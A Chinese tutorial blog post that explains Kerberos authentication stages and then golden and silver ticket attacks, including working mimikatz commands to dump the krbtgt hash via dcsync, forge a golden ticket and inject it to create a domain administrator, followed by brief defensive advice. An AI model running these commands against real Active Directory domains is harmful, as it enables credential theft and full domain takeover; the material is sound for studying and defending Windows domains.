kerberos协议认证与攻击

一、kerberos简介

  1. kerberos是一种计算机网络认证协议,最初由MIT开发,他能够为网络中通信的双方提供身份验证服务,确保通信双方身份的真实性和安全性。

    微软从Windows 2000开始支持Kerberos认证机制,将kerberos作为域环境下的主要身份认证机制。
    kerberos官网:https://web.mit.edu/kerberos/

  2. kerberos角色

  • 客户端(client):想访问某个server的客户端

  • 服务端(Server):提供某种业务的服务

  • 密钥分发中心(KDC):分为两部分:

    • AS(Authentication Service):认证服务,专门用来认证客户端的身份并发放客户用于访问TGS的TGT
    • TGS(Ticket Granting Service):验证TGT,发放ST

二、kerberos认证过程

kerberos认证主要分为3阶段:

  • 第一阶段:客户端和AS交互,进行身份验证,拿到TGT
  • 第二阶段:客户端拿着TGT和TGS交互,请求ST
  • 第三阶段:客户端拿ST请求要访问的目标服务

image.png

  1. AS认证(客户端拿TGT)

image.png

  • REQ1:客户端向AS发送身份认证信息,包含:
用户密码hash加密的timestamp
未加密的用户名(user)、客户端信息(client info)等
AS验证:根据未加密的用户名查找用户对应的用户密码hash,成功解密timestamp,验证客户端通过
  • RES1:返回响应给客户端,其包含两部分内容:

(1)第一部分内容:使用用户密码hash加密的一段内容:

用于客户端和TGS间通信的Session_key(CT_SK)
TGT的有效时间

(2)第二部分内容:使用krbtgt密码hash加密的TGT:

用于客户端和TGS间通信的Session_key(CT_SK)
客户端user、client info等信息
TGT的有效时间
PAC(特权属性证书):包括客户端User的SID和Group的SID等
客户端接收AS响应:用自己密码hash解密AS的响应,得到CT_SK以及(krbtgt密码hash加密的)TGT
  1. TGS认证(客户端拿最终的ST)

image.png

  • REQ2:客户端发送包含三部分内容:
客户端会生成CT_SK加密的验证器Authenticator,含user、client info等信息
目标service(明文)
第一步拿到的krbtgt密码hash加密的TGT(未改动)
  • TGS验证1:根据客户端明文传输过来的目标服务,查看当前kerberos系统中是否存在可以被用户访问的该服务,若有用密钥将解密TGT,获得以下内容:
用于客户端和TGS间通信的Session_key(CT_SK)
客户端user、client info等信息
TGT的有效时间
  • TGS验证2:TGS使用刚刚解密拿到的CT_SK,对Authenticator进行解密,将其中的客户端信息和解密后TGT中的客户端信息进行比较,如果全部相同则认为客户端身份正确
  • RES2:返回响应给客户端,其包含两部分内容:
目标服务密码hash(service_hash)加密的ST(Servre Ticket):
客户端信息
ST有效时间
用于客户端和目标服务之间通信的CS_SK
使用CT_SK加密的内容:
ST有效时间
时间戳
用于客户端和目标服务之间通信的CS_SK
  • 客户端接收TGS响应:

image.png
使用CT_SK解密了第二部分内容,检查时间戳无误后取出其中的CS_SK准备向目标服务发起最后的请求

  1. 目标服务验证

image.png

  • REQ3:客户端发送包含两部分内容:
    使用CS_SK加密的验证器(Authenticator):主机信息和时间戳等
    客户端访问目标服务的使用Server密码加密的ST(未改动)
  • 目标服务验证客户端身份:
    目标服务用自己service_hash解密ST,获得CS_SK
    用CS_SK解密Authenticator,验证Client声明的user信息,通过认证

三、常见攻击手法

域内票据传递(PTT):

(1)黄金票据(Golden ticket)

  • 获取权限:伪造的TGT,可以获取任意Kerberos的访问权限
  • 加密方式:由krbtgt NTLM Hash 加密
    (2)白银票据(Silver ticket)
  • 获取权限:伪造的ST,只能访问指定的服务,如CIFS
  • 加密方式:由服务账号 NTLM Hash 加密

1. 黄金票据

  • 定义:可换取任意服务票据(ST)的票据授权票据(TGT)。有了金票后,就跳过AS验证,不用验证账户和密码,也不担心域管密码修改,把自己伪装成可伪造成任意用户。
  • 条件:
    • 域名称
    • 域的SID
    • 域中kbrtgt账号的密码HASH

(1)域名称可通过net config workstationsysteminfo查看
image.png
(2)在任意域用户下,执行whoami /user,拿域sid
image.png
(3)mimi获取kbrtgt密码hash:

lsadump::dcsync /domain hack.com /user:krbtgt

image.png
(4)mimi生成黄金票据:

mimikatz.exe "kerberos::golden /admin:system /domain:hack.com /sid:S-1-5-21-121511599-1252177110-38747631 /krbtgt:a61858axxxxxxxxxxxxxxxxd792f3263 /ticket:ticket.kirbi"

image.png
(5)mimi导入票据:

mimikatz # kerberos::purge 
mimikatz # kerberos::ptt ticket.kirbi

image.png
(6)拿到黄金票据后,成功创建域管

image.png

2. 白银票据

  • 定义:白银票据就是伪造的ST,只需要知道服务密码Hash就可以伪造出一个ST,但是伪造的门票只对部分服务起作用,白银票据与黄金票据利用过程类似,不再赘述。
  • 条件:
    • 域名称
    • 域的SID
    • 服务主机名
    • 服务密码hash
    • 服务名

四、安全建议

  1. 内网避免存在如ms17-010等远程命令执行和弱口令等高危漏洞,导致域控被拿下
  2. 监控TGT过期时间,如mimi默认创建TGT过期时间为10年
  3. 使用微软高级威胁分析平台(ATA),对域内异常流量和行为进行监控处理:https://docs.microsoft.com/zh-cn/advanced-threat-analytics/what-is-ata
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值